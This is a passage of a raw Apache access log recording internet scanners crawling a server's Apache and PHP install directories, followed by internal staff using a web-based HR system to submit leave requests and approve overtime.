/Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:49 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 100.64.0.1 - - [01/Dec/2025:13:14:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [01/Dec/2025:13:14:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 290 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf/original" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 100.64.0.1 - - [01/Dec/2025:13:14:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [01/Dec/2025:13:14:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 100.64.0.1 - - [01/Dec/2025:13:14:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [01/Dec/2025:13:14:55 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:55 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 100.64.0.1 - - [01/Dec/2025:13:14:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [01/Dec/2025:13:14:57 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [01/Dec/2025:13:14:57 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [01/Dec/2025:13:14:58 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:58 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [01/Dec/2025:13:14:58 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:58 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [01/Dec/2025:13:14:59 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [01/Dec/2025:13:14:59 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:59 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [01/Dec/2025:13:14:59 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:15:06 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:13:15:06 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:13:15:07 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:15:07 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:13:15:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [01/Dec/2025:13:15:57 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [01/Dec/2025:13:17:11 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:13:17:11 +0800] "GET / HTTP/1.1" 200 439 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 205 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 205 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.144 - - [01/Dec/2025:13:18:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [01/Dec/2025:13:18:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [01/Dec/2025:13:18:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [01/Dec/2025:13:18:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [01/Dec/2025:13:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [01/Dec/2025:13:18:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [01/Dec/2025:13:18:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [01/Dec/2025:13:18:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:18:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [01/Dec/2025:13:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9345857693651337 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9345857693651337 HTTP/1.1" 200 8816 192.168.11.144 - - [01/Dec/2025:13:19:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9345857693651337 HTTP/1.1" 200 10987 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9345857693651337" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9345857693651337 HTTP/1.1" 200 10987 192.168.11.144 - - [01/Dec/2025:13:19:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:19:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.11.144 - - [01/Dec/2025:13:20:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:20:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 192.168.11.144 - - [01/Dec/2025:13:20:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:20:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 192.168.11.144 - - [01/Dec/2025:13:20:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:13:20:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11836 100.64.0.1 - - [01/Dec/2025:13:27:50 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:13:27:50 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:13:28:46 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:13:28:46 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:00:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [01/Dec/2025:14:00:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:09:37 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" 100.64.0.1 - - [01/Dec/2025:14:09:37 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:09:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" 100.64.0.1 - - [01/Dec/2025:14:09:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.11.76 - - [01/Dec/2025:14:38:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:38:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [01/Dec/2025:14:38:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:38:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:38:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:38:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.76 - - [01/Dec/2025:14:38:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:38:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.76 - - [01/Dec/2025:14:38:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11617 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:38:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11617 192.168.11.76 - - [01/Dec/2025:14:39:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132658%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132658&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:07 +0800] "GET 